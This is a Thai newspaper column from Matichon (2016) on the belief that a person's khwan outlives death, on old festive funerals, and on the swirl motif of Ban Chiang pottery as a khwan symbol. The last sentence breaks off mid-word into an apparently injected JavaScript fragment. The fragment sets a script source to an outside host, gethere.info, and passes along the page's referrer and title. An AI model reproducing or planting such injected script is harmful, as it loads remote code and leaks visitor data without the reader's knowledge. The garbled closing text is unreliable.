มติชนรายวัน ฉบับประจำวันพฤหัสบดีที่ 27 ตุลาคม 2559

 

คนตาย ขวัญไม่ตาย

 

            คนตายในความเข้าใจของคนเมื่อหลายพันหลายหมื่นปีมาแล้วไม่น่าจะมีและเป็นอย่างเดียวกับปัจจุบัน

            คนแต่ก่อนเชื่อว่าแม้เจ้าของขวัญจะตายไปแล้ว แต่ขวัญยังไม่ตาย เพราะขวัญของผู้ตายจะไปรวมพลังกับขวัญบรรพชนคนก่อนๆ (ที่ฝังอยู่ลานกลางบ้านหรือใต้ถุนเรือนบริเวณเดียวกัน) เพื่อปกป้องคุ้มครองชุมชนและเผ่าพันธุ์ พร้อมทั้งบันดาลความอุดมสมบูรณ์

            แต่บ้างก็เชื่อว่าคนที่นอนนิ่งอยู่นั้น ขวัญหายไปชั่วคราว และขณะนั้นขวัญกำลังหาหนทางกลับเหย้าเรือนเดิมและร่างเดิมของตนไม่วันใดก็วันหนึ่ง

            ด้วยความเชื่ออย่างนี้เอง งานศพในไทยสมัยก่อนๆ จึงสนุกสนานรื่นเริงต่อเนื่องหลายวัน (ไม่มีเศร้าโศก) ดูได้จากวรรณกรรม เช่น อิเหนา พรรณนาการละเล่นงานศพ มีละครโขนหนังและดอกไม้ไฟสนุกตื่นเต้นมาก ไม่มีทุกข์โศกคร่ำครวญ

            (ครั้นได้รับคติพุทธศาสนาแล้ว ความเชื่อก็ปรับเปลี่ยนไปว่าเมื่อคนตายแล้วก็ไม่มีขวัญ แต่จะมีวิญญาณล่องลอยไปใช้กรรม เมื่อหมดกรรมก็เกิดใหม่)

            ขวัญ คือส่วนที่ไม่เป็นตัวตนของคนและสัตว์ (รวมถึงสิ่งของและสถานที่) มีหน่วยเดียว แต่ฝังกระจายอยู่ทั่วทุกแห่ง หรือทุกส่วนของร่างกายตั้งแต่เกิดมามากกว่า 32 แห่ง

            ลายเขียนสีบนหม้อบ้านเชียงเป็นลายเส้นวงๆ วนเวียนซ้อนกันหลายชั้น (คล้ายลายก้นหอย) คือขวัญของคนตายอยู่ในหม้อใบนั้น

            เหมือนกันกับบริเวณโคนเส้นผมบนกลางกระหม่อมของทุกคนที่เรียกจอมขวัญ แล้วยังเห็นตามโคนเส้นขนที่เป็นขวัญบนตัวสัตว์ เช่น วัว, ควาย

            ภาชนะเขียนสีที่บ้านเชียง (อ. หนองหาน จ. อุดรธานี) อายุราว 2,500 ปีมาแล้ว มีลวดลายต่างๆ กัน แต่ที่พบมากจนเป็นลักษณะเฉพาะ แล้วเป็นที่รู้จักทั่วไปคือ ลายขวัญ ที่คนยุคนั้นทำขึ้นเพื่อเรียกขวัญ สู่ขวัญ คนตายให้คืนร่างเดิม

            มีผู้ตั้งข้อสังเกตว่าลายสลักรูปแฉกดาวบนหน้ากลองทองมโหระทึกคือรูปขวัญs.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;